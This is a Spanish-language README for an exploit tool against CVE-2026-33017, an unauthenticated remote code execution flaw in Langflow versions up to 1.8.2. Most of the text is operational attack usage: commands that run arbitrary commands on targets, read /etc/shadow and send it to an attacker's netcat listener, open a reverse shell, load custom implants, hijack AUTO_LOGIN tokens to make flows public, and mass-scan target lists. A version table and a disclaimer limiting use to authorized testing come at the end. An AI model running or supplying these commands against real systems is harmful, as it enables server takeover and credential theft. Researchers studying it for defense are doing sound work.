
Exploit para CVE-2026-33017 — RCE no autenticado en Langflow <= 1.8.2 mediante exec() en el endpoint de construcción de flujos
_____
/ \
| () () |
\ ^ /
|||||
exec() sin autenticación, sin sandbox, sin esperanza.
Langflow <= 1.8.2 permite ejecución remota de código sin autenticación a través del endpoint POST /api/v1/build_public_tmp/{flow_id}/flow. Los datos de flujo proporcionados por el atacante que contienen Python arbitrario en las definiciones de nodos se pasan directamente a exec() sin ningún tipo de sandbox.
POST /api/v1/build_public_tmp/{flow_id}/flow
-> chat.py -> start_flow_build() -> build_graph_from_data()
-> Graph.from_payload() -> loading.py -> eval.py create_class()
-> validate.py prepare_global_scope() -> exec(compiled_code)
-> el código arbitrario se ejecuta como el proceso del servidor. fin del juego.
git clone https://github.com/oscarmine/CVE-2026-33017.git
cd CVE-2026-33017
pip install requests
python3 exploit.py --url http://target:7860 --check
python3 exploit.py --url http://target:7860 --cmd "id"
# Terminal 1: iniciar el listener
python3 -m http.server 8080
# Terminal 2: lanzar el exploit
python3 exploit.py --url http://target:7860 --cmd "id" \
--callback-get http://your-ip:8080
# Decodifica el base64 de los logs de tu listener:
echo "dWlkPTEwMDAo..." | base64 -d
# Terminal 1: iniciar el listener
nc -l 8080
# Terminal 2: lanzar el exploit
python3 exploit.py --url http://target:7860 --cmd "cat /etc/shadow" \
--callback-post http://your-ip:8080
# La salida cruda llega directamente en el cuerpo del POST - sin necesidad de decodificar
# Terminal 1: iniciar el listener
nc -l 4444
# Terminal 2: lanzar el exploit
python3 exploit.py --url http://target:7860 --revshell your-ip 4444
python3 exploit.py --url http://target:7860 --payload-file implant.py
Reglas del archivo de payload:
exec() dentro de prepare_global_scope()_x = os.popen(...).read()) porque el filtro AST solo ejecuta nodos Assign, FunctionDef, ClassDefthreading.Thread(daemon=True) para evitar matar el bucle de eventos asíncronoCuando no existen flujos PÚBLICOS pero AUTO_LOGIN está habilitado (por defecto en muchos despliegues):
python3 exploit.py --url http://target:7860 --auto-promote --cmd "id"
Esto secuestra el token AUTO_LOGIN, aplica PATCH al primer flujo para hacerlo PÚBLICO y luego lo explota.
Escanea múltiples objetivos desde un archivo (solo comprobación de vulnerabilidad):
python3 exploit.py --scan-file targets.txt
python3 exploit.py --scan-file targets.txt --threads 20 --scan-output results.txt
Formato de targets.txt:
http://10.10.10.5:7860
http://10.10.10.6:7860
192.168.1.100:7860
# los comentarios se ignoran
La salida muestra:
python3 exploit.py --url http://target:7860 --cmd "id" \
--proxy http://127.0.0.1:8080
/api/v1/version para identificar el objetivoCustomComponent que contiene Python malicioso en el campo code/api/v1/build_public_tmp/{flow_id}/flow con el parámetro data manipulado. Langflow compila el grafo, que llama a create_class() -> prepare_global_scope() -> exec() sobre el código del atacanteLa corrección en v1.9.0 elimina el parámetro data por completo, forzando al endpoint a usar únicamente los datos de flujo almacenados en la base de datos.
| Versión | Estado |
|---|---|
| <= 1.8.1 | Vulnerable |
| 1.8.2 | Corrección reclamada en el changelog pero el código nunca se modificó (confirmado por JFrog) |
| 1.9.0-dev0 a dev11 | Sigue siendo vulnerable |
| 1.9.0 | Realmente corregido - el parámetro data se eliminó del endpoint |
Esta herramienta es solo para investigación de seguridad autorizada. Úsala únicamente contra sistemas para los que tengas permiso explícito de prueba. El autor no es responsable del mal uso.